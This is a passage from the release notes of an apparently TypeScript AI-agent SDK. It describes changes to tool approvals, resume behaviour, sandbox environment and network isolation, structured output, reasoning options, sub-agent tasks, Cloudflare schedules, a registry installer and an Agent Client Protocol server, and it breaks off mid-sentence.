* A crash resume of a dynamic agent restores the run's config: checkpoints now carry `runConfig` (the `ctx` and model the run was resolved with, as approval snapshots already did), and `agent.resume(id)` / `session.resume()` / `send(…, { sessionId })` on an unfinished run use the saved model and re-resolve `tools` and `instructions` with the saved `ctx`, instead of `input: []` and no `metadata`; a model chosen from `metadata` no longer changes mid-run. Static agents are unchanged.
* Resumed approved calls must run with the approved arguments (behaviour change): after the pre-tool hooks ran on the resumed call, the arguments are compared (deep, key order ignored) with the approved ones whether a hook returned `{ input }` or changed `ctx.args` in place, and a difference is refused with the existing `kind: 'validation'` error ("approved with different input"); a hook that rebuilds the same arguments in another key order is no longer refused. **Migration:** a hook that rewrites arguments (a redactor, a normalizer) must also run on the original run, so the approval record already holds the rewritten input; a hook added only after the pause, that changes the arguments, now refuses the call. A call whose tool no longer exists after an approval (snapshots with an agent fingerprint) now rejects with `LOUSHO_RESUME_TOOL_MISSING` instead of giving the model a `not-found` tool result; older snapshots keep the old behaviour.
* Cancelled and settled tool calls use the shared tool-error shape: a tool call cancelled before it ran (the run was aborted or steered) and a sub-agent call dropped because the lead run was already pausing for another approval now reach the model as `{ error: 'ToolNotRunError', toolName, message, kind: 'not-run' }` with the transcript message flagged `isError`. Before, the result was `{ error: '<text>' }` (and the cancelled one was not flagged `isError`); the text is now under `message`.
* A `permissions` `allow` (or `ask`) rule no longer overrides a tool's own `needsApproval` deny (behaviour change): the tool's `needsApproval` is now called for those calls too, and its `'deny'` / `{ deny }` denies the call; an `allow` still skips the tool's ask. A `deny` rule still wins without calling `needsApproval`. Migration: a tool that should run under an `allow` rule must not deny it from `needsApproval`. See docs/approvals.md.
* `agent.session()` passes the agent's `createAgent({ compaction })` to the session, so `session.compact()` uses the agent's strategy and sizes unless `agent.session({ compaction })` sets its own.
* The `cloudflare-worker` target builds with `ai` v7 installed. With `ai` v7 (`@ai-sdk/openai`/`@ai-sdk/anthropic` v4), `lousho build --target=cloudflare-worker` failed with "Node builtins leaked" (`node:module`, `node:dns`, `node:diagnostics_channel`, `node:async_hooks`). Those are not imports: `ai` v7 and `@ai-sdk/provider-utils` v5 probe them at run time through `process.getBuiltinModule()`, only when running on Node, so the bundle never loads them on Workers. The build's leak check now exempts exactly those four ids, and only as the argument of a `getBuiltinModule`/`loadBuiltinModule` call; any other `node:` reference still fails the build. No `nodejs_compat` flag is needed. The 16 Worker bundle tests that were skipped on `ai` v7 now run on both majors. The bundle is about 3.4 MB raw on v7 (1.7 MB on v4), well under the 64 MiB limit.
* BREAKING: sandboxed and workspace commands get an allowlisted environment. Commands run by `NodeWorkspace.exec()` and `SandboxShell` no longer see the host's `process.env`, so `env`/`printenv` cannot reveal API keys or cloud credentials. They get a small base a shell needs (`PATH`, `HOME`/`USERPROFILE`, `TMP`/`TEMP`/`TMPDIR`, `LANG`, `LC_*`, `TERM`, plus `SystemRoot`, `SystemDrive`, `ComSpec`, `PATHEXT`, `WINDIR` on Windows) and what you add. A container (`SubprocessSandbox`) gets only what you add, never the host env. `SandboxShell` gains `env` and `inheritEnv` options; `NodeWorkspaceOptions.inheritEnv` and `SandboxShellOptions.inheritEnv` accept `true`; `SandboxRunOptions` gains `inheritEnv` (`NoopSandbox` keeps passing the host env unless it is `false`, which `SandboxShell` sets). `SubprocessSandbox` gains `network: 'none' | 'default' | { allow: string[] }` (default `'none'`, as before); `{ allow }` is validated and kept on `sandbox.network` but runs with no network until the egress proxy enforces it (fail closed). **Migration:** pass what commands need, either values (`env: { NODE_ENV: 'test' }`) or host names to copy (`inheritEnv: ['CI', 'NODE_OPTIONS']`); to restore the old behavior, pass `inheritEnv: true`. See docs/workspace-tools.md.
* Internal: the test suite runs with `ai` v7 installed as `ai`. A test helper (`src/providers/aiMajor.testkit.ts`: `installedAiMajor`, `describeOnAiV4`, `itOnAiV4`) reads the installed major; tests whose behavior is the same on both majors are made major-agnostic, the 66 that only make sense on v4 (v4 message and call shapes, `MockLanguageModelV1`) or on a Worker bundle that still leaks `node:` built-ins on v7 are skipped there. The `typecheck-ai7` CI job now also builds and runs `npx vitest run`. Test and CI change only; no product change.
* Internal: the SDK source now type-checks against `ai` v7 (with `@ai-sdk/openai`/`@ai-sdk/anthropic` v4) as well as `ai` v4. `AiSdkProvider` builds its `ai` v4 request with SDK-owned structural types instead of the v4-only `CoreMessage`/`CoreAssistantMessage`/`CoreToolMessage`/`Output` types and no longer calls `ai`'s `tool()` (an identity function on v4); the legacy `.tool` that `defineTool()`/`toolDescriptorFromSchema()` hand-build is cast once at that boundary. No runtime change on v4. A new CI job runs `tsc --noEmit` with `ai@7` installed. The `ai`/`@ai-sdk/*` peer ranges are unchanged for now.
* MCP tools without `readOnlyHint` now ask for approval by default (BREAKING for MCP users): `loadMcpTools()`, `connectMcp()` and `createAgent({ mcpServers })` set `needsApproval` from each tool's MCP annotations: `readOnlyHint: true` runs, `destructiveHint` true or absent (the MCP spec default) asks, `destructiveHint: false` runs. Choose per server with the new `approval: 'annotations' | 'always' | 'never' | ({ name, annotations }) => boolean` (`loadMcpTools(client, name, { approval })`, `connectMcp()` server entries, `createAgent({ mcpServers })` and `AgentSpec.mcpServers`, which validates it; a spec file takes the three strings). The descriptor keeps the raw annotations on the new `ToolDescriptor.metadata?.mcp.annotations` (types `McpToolAnnotations`, `ToolMetadata`, `McpApproval`) and uses the annotation `title` as `displayName`. Migration: pass `approval: 'never'` to restore the old behaviour (every MCP tool runs without asking). `createAgent()` agents pause with `finishReason: 'awaiting-approval'`, while a bare `AgentExecutor` without an `approvalStore` now throws for such tools. See docs/configuration.md#mcp-tool-approval-approval.
* Small built-in tools are defined with `defineTool` (not breaking): `currentDateTool`, `dayNameTool`, `createEmailTool()`, `createHttpTool()`, `createSlackTool()`, `createDelegateTool()` and the descriptors `loadMcpTools()` builds no longer call `ai`'s `tool()`. They now carry canonical `inputSchema` / `execute` (the legacy `.tool` stays), and the built-ins have the tool names `current_date`, `day_name`, `send_email`, `http_request`, `slack_alert` and `delegate_to_<agent>`. Descriptions, schemas, approval and sandbox behaviour and the factory signatures are unchanged. MCP descriptors are built with the new internal `toolDescriptorFromSchema()`, which (unlike `defineTool`) accepts any server-provided name or empty description. `routeFetchThroughSandbox()` reads the canonical `execute` first.
* GitHub and Jira tools are defined with `defineTool` (not breaking): the 28 `createGitHubTools()` tools and the 20 `createJiraTools()` tools no longer call `ai`'s `tool()`, so nothing under `src/tools` imports `ai` any more. They now carry canonical `inputSchema` / `execute` (the legacy `.tool` stays). Tool names, descriptions, schemas, the sandbox flags and the factory signatures are unchanged. The GitHub out-of-scope tools (branch/file writes, code search, issue CRUD, merge) are disabled through the canonical `execute` as well as `tool.execute`, so calling one still throws "out of scope" before any HTTP request. `JiraTools.register()` now also routes tools registered with `defineTool` through the sandbox seam.
* BREAKING (types only): `Message.content` is widened from `string` to `string | ContentPart[]`. Messages you build keep working unchanged, but code that reads `message.content` as a string (`.length`, `.startsWith()`, a template literal) no longer type-checks. **Migration:** read `textOf(message)` instead, or narrow with `typeof message.content === 'string'`. A custom `LLMProvider` that forwards `content` should handle the parts or send `textOf(message)`.
* The execute context is our own type (not breaking): the new exported `ToolExecutionContext` (`{ toolCallId, messages: readonly Message[], abortSignal?, sessionId?, onDelegatedUsage? }`, `Message` from `@lousho/build-ai-agent`) replaces the `ai` SDK's `ToolExecutionOptions` as the type of the second argument of `defineTool()`'s `execute`, `ToolDescriptor.execute`, `DefinedTool.execute` and the third argument of `sandboxExecute`, and is what `buildToolRunContext()` returns; the public types no longer import `ToolExecutionOptions` from `ai`. A function typed for `ai`'s options that only reads `toolCallId` or `abortSignal` stays assignable. `ToolRunContext` is now a deprecated alias of the optional fields of `ToolExecutionContext` (it already existed with `onDelegatedUsage` and `toolCallId`). `AgentExecutionOptions.messages` is typed `Message[]` instead of the `ai` SDK's `CoreMessage[]` (the field is unused by the SDK). The legacy `ToolDescriptor.tool` (`ai` v4 `Tool`) is unchanged. See docs/tools.md#execute-context.
* BREAKING (small): `SDKError.code` values are now the `LOUSHO_*` codes: `AGENT_EXECUTION_ERROR` -> `LOUSHO_AGENT_EXECUTION_FAILED`, `TOOL_EXECUTION_ERROR` -> `LOUSHO_TOOL_EXECUTION_FAILED`, `LLM_PROVIDER_ERROR` -> `LOUSHO_PROVIDER_REQUEST_FAILED`, `SESSION_AWAITING_APPROVAL` -> `LOUSHO_SESSION_AWAITING_APPROVAL`, `FLOW_EXECUTION_ERROR` -> `LOUSHO_FLOW_EXECUTION_FAILED`, `CONFIGURATION_ERROR` -> `LOUSHO_CONFIG_INVALID`, `VALIDATION_ERROR` -> `LOUSHO_VALIDATION_FAILED`, `TIMEOUT_ERROR` -> `LOUSHO_OPERATION_TIMEOUT`, `RATE_LIMIT_ERROR` -> `LOUSHO_PROVIDER_RATE_LIMITED`; `code` is no longer optional (`new SDKError(message)` gets `LOUSHO_GENERIC_ERROR`). No class was renamed. The messages of `SDKError`s other than `ToolExecutionError`, `LLMProviderError`, `TimeoutError` and `RateLimitError` gain a second line with the code, hint and docs link, and `loadSpec()` now rejects a spec whose top-level field is a likely typo of a spec field (`LOUSHO_SPEC_UNKNOWN_FIELD`; other unknown fields are still ignored). **Migration:** compare `code` against the new values (or use `instanceof`); match messages with `toContain` / a regex, or compare `error.detail`, instead of exact equality.
* BREAKING (small): tool failures that did not go through the thrown-error path now use the shared shape, so `error` is an error name instead of a message. Before: an unknown tool or a missing registry gave `{ error: "Tool 'x' not found" }` / `{ error: 'No tool registry available' }`; a rejected approval gave `{ error: 'Tool execution was rejected by the reviewer', note }`; a tool that threw after an approval gave `{ error: '<message>' }`; a call left without a result on resume gave `{ error: 'Tool call was not run: ...' }`. Now each is `{ error: '<ToolNotFoundError | ToolRejectedError | <thrown error name> | ToolNotRunError>', toolName, message: '<the old text>', kind, ... }`. A tool approved but missing from the registry on resume used to reject `resumeAfterApproval()` with `Tool 'x' not found in registry`; it now resolves with a `not-found` error result. The sandbox guard throws `SandboxRequiredError` (same message, still an `Error`). **Migration:** read `message` instead of `error` when you want the text, and branch on `kind`. `ToolArgumentsValidationError.toToolResult()` now also returns `kind: 'validation'`.
* Background sub-agents still running when the lead run ends are now cancelled instead of running to completion on their own; a lead run that pauses for approval cancels them too (the resumed run starts with none). **Migration:** to keep them, have the lead collect them with `agent_await` before its final answer, or set `subagentOptions: { awaitBackgroundOnFinish: true }`.
* Heavy dependencies are optional peers: `dockerode` (Docker sandboxing, `SubprocessSandbox`), `@modelcontextprotocol/sdk` (`serveMcp`, `lousho mcp`, MCP clients) and `prompts` (the interactive questions of `lousho init`) moved from `dependencies` to `peerDependencies`, marked optional in `peerDependenciesMeta`. They were already loaded lazily; now a project that uses none of them does not install them. Using one without its package fails that call with `MissingPeerDependencyError`, which now also carries `feature` and names the exact command (for example `npm install dockerode@^5.0.1`). `lousho doctor` lists the three with what they enable (a missing `dockerode` fails the check when the agent spec uses a sandboxed tool), and its version lookup no longer returns `undefined` for packages whose `exports` map hides `package.json`. **Migration:** install the peer if you use Docker sandboxing (`npm install dockerode`), MCP (`npm install @modelcontextprotocol/sdk`), or interactive `lousho init` (`npm install prompts`; `npm create lousho-agent` already does, and `lousho init --yes` needs nothing). See docs/installation.md.
* The `http` tool no longer loads `undici` for default requests: with TLS verification on (the default) it uses the runtime's global `fetch`; `undici` (still a regular dependency) is loaded only for `validateSSL: false`, whose per-request TLS dispatcher the global `fetch` cannot express. `yaml` stays a dependency (agent specs and skills need a YAML parser).
* Retries no longer stack: the built-in providers (`OpenAIProvider`, `AnthropicProvider`, `OllamaProvider`, `OpenRouterProvider`) now pass `maxRetries` to the `ai` SDK calls: `config.maxRetries`, or 2 (the `ai` SDK's default, so behaviour is unchanged) when unset. `createAgent()` builds the providers it resolves from strings with `maxRetries: 0` and retries in its `withRetry()` wrapper instead, so retries happen in one place (at most 3 calls by default, as before) and each one is observable. If you wrap a built-in provider in `withRetry()` / `resilientProvider()` yourself, build it with `maxRetries: 0`; note that a `maxRetries` you already set in a provider config is now honoured by the `ai` SDK.
* `AgentType` is optional and deprecated (not breaking): `AgentBuilder.build()` no longer requires `setType()` and `AgentConfig.agentType` is now optional (`createAgent()` and `specToAgent()` agents carry no type). `AgentType`, `setType()` and the `agent-types` registry/validators are marked `@deprecated`: they have no runtime effect and will be removed in the next minor; they stay exported for now. Drop your `setType(...)` calls.
* BREAKING: `encrypt()` now generates a random salt per call instead of a hardcoded one. Ciphertext produced before this change cannot be decrypted with the new code and must be re-encrypted.
* BREAKING: The mock repositories (`MockAgentRepository`, `MockSessionRepository`, `MockResultRepository`, `MockMemoryRepository`, `MockAttachmentRepository` — previously re-exported from `src/data/mocks.ts` via the package root/`./data` subpath; this package has no `createMockRepositories` factory) are no longer exported from the package root. Import them from `@lousho/build-ai-agent/testing` instead.
* One session-API client behind `remoteAgent()` and `remoteTarget()`: both now share an internal client (`src/server/sessionClient.ts`) for `POST <url>/chat`, the SSE read, bearer-token scrubbing and the error mapping, and use one pair of codes, `LOUSHO_REMOTE_REQUEST_FAILED` and `LOUSHO_REMOTE_UNAUTHORIZED`. The unreleased `LOUSHO_REMOTE_AGENT_FAILED` is removed: a `remoteAgent()` failure now carries `LOUSHO_REMOTE_REQUEST_FAILED` (network, non-2xx, truncated stream, or a remote run that ends in an error, with "the remote run ended in an error" in the message) or `LOUSHO_REMOTE_UNAUTHORIZED` (401). No option or behavior of either function changed.

### Added

* Remote sub-agent approvals go through the lead run: a `remoteAgent()` task whose remote run pauses for a tool approval now pauses the lead run the way a local sub-agent does (it used to fail with `LOUSHO_SESSION_AWAITING_APPROVAL`): the lead's pending approval (`agent.approvals.list()`, channel buttons, the dev chat, ACP permission requests) has the remote tool's name and input and `subagentPath: [<remote agent>]`, and a remote `ask_question` arrives as a question. Deciding it on the lead (`resolve`, `streamResolve`, `answer`) posts the decision to the remote `POST <url>/chat/:sessionId/approvals/:id` and the continuation's final answer is the `task` result; a further pause pauses the lead again. The lead's approval snapshot stores the remote session id, the remote approval id, the `taskId` and the agent name (never the token), so a fresh lead process on the same store can decide it. Failures while deciding (401, other non-2xx including the remote's 404 for an approval no longer pending, network) are the `task` call's structured tool error with `LOUSHO_REMOTE_UNAUTHORIZED` / `LOUSHO_REMOTE_REQUEST_FAILED`. A remote agent with an `output` schema now returns its object as JSON with the footer (the V4.2 shape), read from `run.done`'s `object`. `RemoteSubagent.run()` takes `pausable` and `decision` (type `RemoteRunOptions`); the internal session client gains `resolveRemoteApproval()` and `SessionTurnSummary.object`. Only a lead run without an approval store keeps the old `LOUSHO_SESSION_AWAITING_APPROVAL` error. See docs/sub-agents.md#remote-approvals.
* Structured output for sessions and sub-agents, typed for either zod major: `createAgent({ output })` and `ExecuteOptions.output` accept a zod 3 schema, a zod 4 schema (`zod/v4` on zod 3.25, or zod 4) or a Standard Schema that can produce JSON Schema, and `result.object` is inferred from each without a cast (`InferSchemaOutput`, as `defineTool`). `AgentSession` is generic (`AgentSession<TObject = unknown>`): `agent.session().send()` and `.stream()` results carry the typed `object`. A sub-agent with its own `output` returns its validated object as JSON (then the `taskId` footer) as the `task` and `agent_await` result; its `output-invalid` finish is a structured tool error. Sub-agents do not inherit the lead's `output`; `remoteAgent()` returns text only. The exported spec schemas (`agentSpecSchema`, ...) are typed as `SpecSchema<T>` / `SpecObjectSchema<T>`, so the published `schema-*.d.ts` no longer depends on zod 3 generics (`skipLibCheck: false` projects on zod 4). The Ollama missing-peer note now says `ollama-ai-provider-v2` needs zod 4 (`npm install zod@^4.0.0`). See docs/structured-output.md.
* Publish readiness: `npm run pack-smoke` (scripts/pack-smoke.ts, a CI job) packs the SDK and `create-lousho-agent`, checks the tarball (no `.env`, tests or secret-looking strings; entry count and size caps), runs `npm publish --dry-run` for both (nothing is published), installs the tarballs plus peers from the registry into a fresh project and verifies ESM and CJS loads of every `exports` entry, a mock-model agent turn, the `lousho` bin (`--help`, `doctor`) and `tsc` with `moduleResolution` bundler and node16.
* One event system: `AgentEvent` listeners for callers who do not iterate a run. `createAgent({ onEvent: (event: AgentEvent) => void })` and the new `ExecuteOptions.onAgentEvent` (also taken by `AgentExecutor.stream()` and `resumeAfterApproval()`) are called synchronously with every `AgentEvent` of the run, on `send()` / `execute()` as on `stream()`, sub-agents' events included: the same events in the same order as the stream yields (a non-streamed run generates each model step whole, so its text is one `text.delta` per step). A run with a listener also reports hook events, permission decisions, budgets and guardrails to it when it is not streamed. A non-streamed `resumeAfterApproval()` with a listener now reports the decided call (`run.start`, `tool.start`, `tool.done`) like a streamed one. See docs/streaming.md#listening-without-iterating.
* Reasoning: new `reasoning` option on `createAgent()`, `send()` / `stream()` (per call, overriding the agent's), `ExecuteOptions` and `GenerateOptions`: `'none' | 'minimal' | 'low' | 'medium' | 'high'` or `{ effort?, budgetTokens?, summary?: 'auto' | 'none', force? }` (types `ReasoningOption`, `ReasoningEffort`, `ReasoningSettings`). The built-in providers send it through `providerOptions` on `ai` 4.3 and 6/7: OpenAI `reasoningEffort` (+ `reasoningSummary`), Anthropic `thinking: { type: 'enabled', budgetTokens }` (effort table 1024 / 2048 / 8192 / 24576 tokens), Ollama `think` (`ollama-ai-provider-v2` only; ignored with one warning on `ai` 4), and OpenRouter's unified `reasoning` body field (`effort` or `max_tokens`). It is only sent to model families known to accept it (`force: true` overrides); `'none'` sends nothing. New events `reasoning.start`, `reasoning.delta` (`text`) and `reasoning.done` (`text`, `tokens?`) in the `AgentEvent` union, emitted inside the step before its first text or tool call, from `ai` v4 `reasoning` parts and v6/v7 `reasoning-start/delta/end`; `ExecutionResult.reasoning` holds the run's reasoning text and `GenerateResult.reasoning` a call's blocks (new type `ReasoningBlock`); new stream chunk types `reasoning-delta` / `reasoning-end` (`StreamChunk.reasoning`). Reasoning is not written to the transcript as text; an assistant tool-call turn keeps Anthropic's signed or redacted thinking blocks in the new `Message.reasoning`, which the Anthropic provider sends back unmodified (it survives checkpoints and resumes). The UI reducer keeps `UIMessage.reasoning`, `toUIMessageStream()` emits `reasoning-start` / `reasoning-delta` / `reasoning-end`, `lousho acp` sends `agent_thought_chunk`, `lousho chat` prints reasoning dimmed, and `chat` spans carry `lousho.usage.reasoning_tokens`. Cassettes record the reasoning chunks. See docs/reasoning.md.
* Tools know their session: `ToolExecutionContext.sessionId` is now set whenever the run has one: `AgentExecutor.execute({ sessionId })`, `send({ sessionId })`, every `agent.session()` turn (the session id; a checkpointed turn's own `<id>.turn-<n>`, as hooks see it), approval resumes (the paused run's), and sub-agents (`<parent session>/<task tool call id>`). A session turn's run now carries the session id even without a checkpoint store (no checkpoint is written), so hooks and the `invoke_agent` span's conversation id see it too.
* Hardened Slack and Discord channels: `approvers` (a list of platform user ids, or `(user: { id, name?, roles? }, { toolName, input, sessionId }) => boolean | Promise<boolean>`) says who may click Approve / Deny (a refused click gets an ephemeral "not allowed" and the approval stays pending); `onError(error, { channel, stage, sessionId? })` on both channels, on `mountChannels()` and on `defineChannel()` receives failures after the acknowledgment (reply delivery, a failed turn, an approval continuation; default `console.error` with channel, stage, session and SDK error code, never a token) and a failed turn tells the user so; `mountChannels({ onDecision })` reports who decided; `parse` gets a third `ctx` argument (`ChannelContext`: pending approval, session id, `hasSession`) and a `{ decision }` may carry `inbound` and `approver`. Pending approvals now resolve from the click itself and the Slack 'active thread' check asks the session store, so both survive a restart. Slack: the clicked message is replaced with the outcome (buttons removed) and direct messages (`message.im`, scope `im:history`) are sessions keyed on the DM channel. See docs/channels.md.
* Resumable sub-agent tasks: every `task` result ends with a `taskId` (the footer is now `[sub-agent '<name>': N step(s), finish reason '<reason>', taskId 'task_1']`; a remote one gains `, taskId '...'` too), and `task` takes optional `taskId` and `mode: 'new' | 'resume' | 'fork'` (default `new` without a `taskId`, `resume` with one). `resume` continues that sub-agent with its transcript and the new prompt as the next user turn; `fork` starts a new task (new `taskId`) from a copy of it and leaves the original alone. Conversations are kept per lead session in the agent's `store.sessions` (new `SubagentOptions.sessions`, set by `createAgent({ store })`) for lead runs with a `sessionId` (checkpointed `send()` and session turns), under a key hashed from the lead session and the taskId, so they survive a restart and cannot be reached from another session; other runs keep them in memory for the run. Background tasks share the ids (a background task's id is now `task_<n>` counted with the synchronous ones): a finished one can be resumed, a running one is refused with the new `LOUSHO_SUBAGENT_TASK_BUSY`; an unknown, foreign or other sub-agent's id gets the new `LOUSHO_SUBAGENT_TASK_NOT_FOUND`, both as the structured tool error. An approval inside a resumed child pauses and resumes the lead as before (streamed or not), and a resumed child's usage counts toward the lead like a fresh call. `remoteAgent()` tasks resumed by `taskId` continue in the same remote session (`RemoteSubagent.run()` takes `sessionId` and `taskId`); remote approvals are still not proxied, but a task whose remote run paused can be continued once the approval was decided on the remote agent. The model-facing `task` description and the sub-agents prompt block say how to continue a task. See docs/sub-agents.md#continuing-a-task.
* Agent-directory and spec builds keep optional peers external, and the node server runs spec cron triggers: `lousho build --target=node-server|docker` leaves every optional peer of the SDK (read from its `peerDependenciesMeta`) out of the bundle, replacing the hand-kept `dockerode` / `ollama-ai-provider-v2` list, so a build no longer needs peers the agent does not use; a spec's `{ type: 'cron' }` triggers now start on the built server (and are validated at build time), as on the Cloudflare Worker target. See [Deployment](/deployment#optional-peers-in-node-and-docker-builds).
* Agent fingerprint on resume: every checkpoint and approval snapshot now carries `agentFingerprint` (new type `AgentFingerprint`: the model id, each tool's name with a hash of its JSON input schema, a hash of the instructions, and a SHA-256 prefix over them, via Web Crypto; functions are ignored), and a resume compares it with the resuming agent's before any model call or tool runs. New option `onAgentDrift: 'warn' | 'error' | 'ignore'` (type `AgentDriftMode`) on `createAgent()`, `AgentExecutor.execute()` and `resumeAfterApproval()`: `'warn'` (default) emits the new `agent.drift` event (`AgentDriftEvent`: `model?`, `toolsAdded`, `toolsRemoved`, `toolsChanged`, `instructions`) and a `console.warn`, `'error'` rejects with the new `LOUSHO_AGENT_DRIFT` and leaves the checkpoint (or the pending approval) untouched. A pending tool call whose tool no longer exists always rejects with the new `LOUSHO_RESUME_TOOL_MISSING`. Works for crash resume, `session.resume()` and approval resume, streamed or not; old checkpoints and snapshots have no fingerprint and resume unchecked. A sub-agent's nested approval snapshot carries its own fingerprint, but only the top-level agent is compared. `resumeAfterApproval()`'s options take `currentAgent` (set by `createAgent()`) so instructions can be compared. See docs/durable-execution.md#resuming-with-a-changed-agent.
* Docker sandbox network allowlists are enforced through the credential broker: `new SubprocessSandbox({ network: { allow }, broker })` creates (or reuses, by `networkName`) an internal Docker network (`Internal: true`, label `com.lousho.sandbox=egress`), has the broker listen on its gateway address for that subnet only, and starts each container on it with `HTTP_PROXY`/`HTTPS_PROXY` pointing there, so the broker (allowlist: its rule hosts plus `allow`) is the container's only route out. New `sandbox.close()` stops the listener and removes the network it created. New `broker.listen({ host, clients, allow? })` adds a listener on another address that drops peers outside the `clients` subnet; the broker still listens on loopback only by default. Enforced on Docker Engine 25.0.5+ for Linux with the agent on the same host; Docker Desktop, rootless Docker, a remote daemon, a non-internal reused network and older Engines are refused with the new code `LOUSHO_SANDBOX_EGRESS_UNSUPPORTED` (no container is started). Without a `broker`, `{ allow }` still means no network. See docs/workspace-tools.md.
* The Docker sandbox honors cancellation: `SubprocessSandbox.run()` takes `signal` (`SandboxRunOptions`). When it aborts, the container is killed and force-removed (errors from an already stopped or removed container are ignored) and `run()` rejects with an `AbortError`, like `NoopSandbox`; an already-aborted signal starts no container; a timeout uses the same cleanup. `SandboxShell` passes the tool's abort signal down, so a cancelled `shell` call stops its container (it used to run until the timeout) and reports `aborted: true`. See docs/workspace-tools.md.
* Schedules on Cloudflare Workers: the `cloudflare-worker` target writes the spec's `{ type: 'cron', cron, input, name?, timezone? }` triggers (deduplicated) to `wrangler.toml` as `[triggers] crons = [...]`, and the generated Worker exports `scheduled(controller, env, ctx)`, which runs every trigger whose expression equals `controller.cron` as an agent turn inside `ctx.waitUntil()`, in session `schedule:<name>` (visible in the KV store when bound). A failing trigger is logged with `console.error` (name and error code) and never stops the others. The build fails with `LOUSHO_SCHEDULE_INVALID` naming the trigger for what Cloudflare would not fire: a `timezone` (crons are UTC), a seconds field or `@daily` shortcut, a numeric day-of-week (Cloudflare counts 1 as Sunday). New `handleScheduled(agent, schedules, controller, ctx)` (root and `deploy-runtime-worker`) wires `defineSchedule` schedules to a hand-written Worker's `scheduled()`. `startSchedules` shares its fire step with it. See docs/schedules.md#on-cloudflare-workers.
* `ai` v6 and v7 as peers: `peerDependencies` now accept `ai` `^4.3.19 || ^6.0.0 || ^7.0.0` and `@ai-sdk/openai` / `@ai-sdk/anthropic` `^0.0.42 || ^1.0.0 || ^3.0.0 || ^4.0.0` (still optional), plus the new optional peer `ollama-ai-provider-v2` `^2.0.0 || ^3.0.0 || ^4.0.0`, so a project on the current `ai` major installs without peer conflicts. Pairings: `ai` 4 with `@ai-sdk/*` 0.0.x/1.x and `ollama-ai-provider` 1.x; `ai` 6 with `@ai-sdk/*` 3.x and `ollama-ai-provider-v2` 2.x/3.x; `ai` 7 with `@ai-sdk/*` 4.x and `ollama-ai-provider-v2` 4.x. A missing provider package's `MissingPeerDependencyError.installCommand` names the version for the installed `ai` major (`npm install @ai-sdk/openai@^4.0.0` on `ai` 7; unchanged on `ai` 4). `OllamaProvider` loads `ollama-ai-provider-v2` on `ai` 6/7; that package needs zod 4, which the SDK does not support yet, so its install hint says so and Ollama stays on `ai` 4 for now. `lousho doctor` checks provider packages against the installed `ai` major and flags a mismatched pair (e.g. `ai` 7 with `@ai-sdk/openai` 1.x) with the version to install; a missing or unsupported `ai` gets `npm install ai@^7.0.0`. `lousho init` / `npm create lousho-agent` scaffold `ai@^7.0.0` with `@ai-sdk/openai@^4.0.0` / `@ai-sdk/anthropic@^4.0.0` for OpenAI and Anthropic, and keep `ai@^4.3.19` for Ollama (zod 4) and OpenRouter (`@ai-sdk/openai` 2+ defaults to the Responses API, not yet verified there). The hint of `resolveProvider()`'s rare synchronous missing-peer error lists the command for each `ai` major. See [Installation](/installation#provider-packages).
* `lousho add`: `lousho add <name> [--registry <url-or-path>] [--dir <agent-dir>] [--yes] [--overwrite] [--dry-run]` installs a tool, skill, channel, schedule or memory slot from a static JSON registry (an index plus one document per item that carries the file contents) into an agent directory as source you own; `lousho add --list` prints the index. The registry comes from `--registry` or `LOUSHO_REGISTRY` (there is no hosted registry yet). It prints the item's permission manifest (hosts, env vars, filesystem, exec, whether its tools ask for approval) and the files first and asks for confirmation (`--yes` skips it; a non-interactive stdin without `--yes` refuses; `--dry-run` writes nothing). Paths must be relative, inside the folder of the item's type and inside the agent directory (no `..`, absolute paths, drive letters, backslashes or symlink escapes), files and items have size caps, existing files need `--overwrite`, fetches time out and only `http(s)` and local paths are read; nothing from a registry is executed and `dependencies` are only printed as an `npm install` line. New error codes `LOUSHO_REGISTRY_UNREACHABLE`, `LOUSHO_REGISTRY_ITEM_NOT_FOUND`, `LOUSHO_REGISTRY_INVALID`, `LOUSHO_REGISTRY_UNSAFE_PATH`, `LOUSHO_REGISTRY_FILE_EXISTS`. See docs/registry.md.
* Checkpoint history for `KVCheckpointStore` and Agent Forge's file store: `KVCheckpointStore` (and `KVStore`, with the new `historyLimit` option) keeps the bounded per-session history `memoryStore()` keeps, as one index key (`<prefix><sessionId>#history`) and one key per entry (`<prefix><sessionId>#history/<id>`) next to the unchanged latest-checkpoint key, so `agent.fork()`, `compareTrajectories()` and time travel work for Worker-deployed agents; a store written before this change still loads. A save now makes one `get` and two `put`s more (`historyLimit: 0` turns the history off), and two concurrent saves of one session can lose an index update (KV has no transactions). Agent Forge's `FileCheckpointStore` reads a partially written history file as empty and writes its files atomically. The history contract suite now runs against `KVCheckpointStore` too. See docs/durable-execution.md#checkpoint-history.
* Hook outcomes: a `preToolCall` hook may return `{ deny: reason }` (the call does not run; the model gets the same `kind: 'denied'` tool error as a `needsApproval` deny, streams see `tool.error`, and `onPermissionDecision` / `permission.decision` record `decision: 'deny'` with the new `hook` field and `reason`), `{ result: value }` (the call does not run; `value` is its result) or `{ input: args }` (the call runs with `args`, validated against the tool's schema again; a mismatch is a `kind: 'validation'` tool error naming the hook). A `postToolCall` hook may return `{ result: value }` to replace the result the model sees. Pre-hooks run in registration order: the first deny or result skips the later ones, inputs chain. A replaced result is marked `replacedByHook` on the `tool.done` event, the `ToolCallOutcome` / `tool-result` event and the transcript's `tool` message `metadata`. Hooks still run first (after argument validation, before permission rules, tool guardrails and `needsApproval`), so the approval sees the hook's input; on a resumed approved call the pre-hooks run again and an `{ input }` that differs from the approved input is refused. Sub-agents inherit the outcomes. Hooks that return nothing type-check and behave as before; `HookRegistry.runPreToolCall()` now resolves to a `PreToolCallDecision` and `runPostToolCall()` to the name of the replacing hook (new types `PreToolCallOutcome`, `PostToolCallOutcome`, `PreToolCallDecision`). A hook that throws still rejects the run. See docs/api-overview\.md#hook-outcomes.
* `lousho acp`: `lousho acp <spec.yaml|spec.json|agent-dir|agent.ts> [--model provider/model]` serves an agent over the Agent Client Protocol (v1) on stdio, so Zed and other ACP editors can run it as an external agent; stdout carries only JSON-RPC lines (the agent's `console.log` goes to stderr). It implements `initialize`, `session/new`, `session/prompt` (text and `resource_link` blocks) and `session/cancel`, streams `session/update`s (`agent_message_chunk`, `tool_call`, `tool_call_update`), asks `session/request_permission` (Allow / Reject) when a tool needs approval and streams the continuation, and maps finish reasons to stop reasons (`max-steps` to `max_turn_requests`, `budget-exceeded` / `length` to `max_tokens`, `guardrail` to `refusal`, a cancel to `cancelled`). One ACP session is one SDK session. An `ask_question` pause ends the turn with the question as the agent's message; the next prompt answers it. A failed run answers a JSON-RPC error whose `data.code` is the SDK error code. The protocol core is exported as `serveAcp(agent, { input, write, store? })` (new type `ServeAcpOptions`), transport-independent. Not supported yet: `session/load`, the client's 